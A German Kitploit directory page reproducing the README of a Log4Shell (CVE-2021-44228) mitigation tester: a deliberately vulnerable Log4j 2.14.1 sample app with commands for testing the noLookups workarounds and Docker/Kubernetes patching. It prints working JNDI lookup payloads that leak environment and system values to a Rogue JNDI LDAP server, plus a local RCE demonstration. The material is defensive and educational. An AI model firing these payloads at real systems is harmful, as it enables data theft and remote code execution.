Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-mitigation-tester — Testen und validieren Sie Ansätze zur Eindämmung von Log4Shell (CVE-2021-44228) mit einer Beispiel-App mit Log4j-Schwachstelle, einschließlich JNDI-Ausnutzung, Umgehungen durch Umgebungsvariablen und Patchen in Docker/Kubernetes. | Kitploit
Tools/GitHubGitHub/lhotari/log4shell-mitigation-tester
Container-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Testen und validieren Sie Ansätze zur Eindämmung von Log4Shell (CVE-2021-44228) mit einer Beispiel-App mit Log4j-Schwachstelle, einschließlich JNDI-Ausnutzung, Umgehungen durch Umgebungsvariablen und Patchen in Docker/Kubernetes.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1613vor 4 JahrenNoch nicht geprüft

Log4Shell Mitigation tester

Dies ist eine Beispielanwendung mit Log4j 2.14.1.

Quellcode: App.java

Der Zweck dieses Projekts ist es, verschiedene Minderungsansätze testen zu können. Die Minderungsansätze werden auch in Microsofts Antwort auf CVE-2021-44228 Apache Log4j 2 erwähnt.

Beispielverwendung

Beispiele sind für eine Bash-Shell

App bauen

root@kitploit:~
./gradlew assemble

Ohne Workaround ausführen

root@kitploit:~
java -jar app/build/libs/app-all.jar

Testen der Nachrichten-Lookup-Funktion durch Übergabe eines Strings in der Befehlszeile:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Testen des Systemeigenschaft-Workarounds -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Testen des Umgebungsvariablen-Workarounds LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Testen des Umgebungsvariablen-Workarounds JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Testen der Workaround-Lösung mit log4j2.component.properties im Klassenpfad:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

Sehen heißt glauben - diese Beispiel-App ausnutzen

Wenn Sie die App ausführen, sehen Sie die Sicherheitslücke in Aktion:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

Sie können die Lösung auch debuggen und einen Haltepunkt in den anfälligen Code setzen, der sich befindet unter: https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

Setzen Sie den Debugger in der Klasse org.apache.logging.log4j.core.pattern.MessagePatternConverter in Zeile 128.

Wenn die Minderung aktiv ist, sollte der Debugger nie in den Codeblock gelangen. Der LDAP-Aufruf sollte ebenfalls nicht versucht werden:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Ausnutzen mit Rogue JNDI

Die Demonstration des Informationsabflusses hängt von den Änderungen in https://github.com/veracode-research/rogue-jndi/pull/11 ab

in einem Terminal

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

in einem anderen Terminal:

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Kubernetes / Docker-Minderungslösungen für Log4Shell

Es ist notwendig, Log4Shell sofort zu mindern, ohne auf ein neues Software-Release zu warten. Hier sind einige Lösungen, um dies schnell und effektiv zu tun.

Patchen vorhandener Docker-Images mit einem dünnen Overlay, das die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true setzt

Dies ist eine allgemeine Lösung: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Beispiel für das Patchen vorhandener Docker-Images mit Log4j 2.15.0-JAR-Dateien

Dies ist nicht allgemein, das Beispiel stammt von apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

Patchen von k8s-Deployments mit der Umgebungsvariablen LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

Tool herunterladen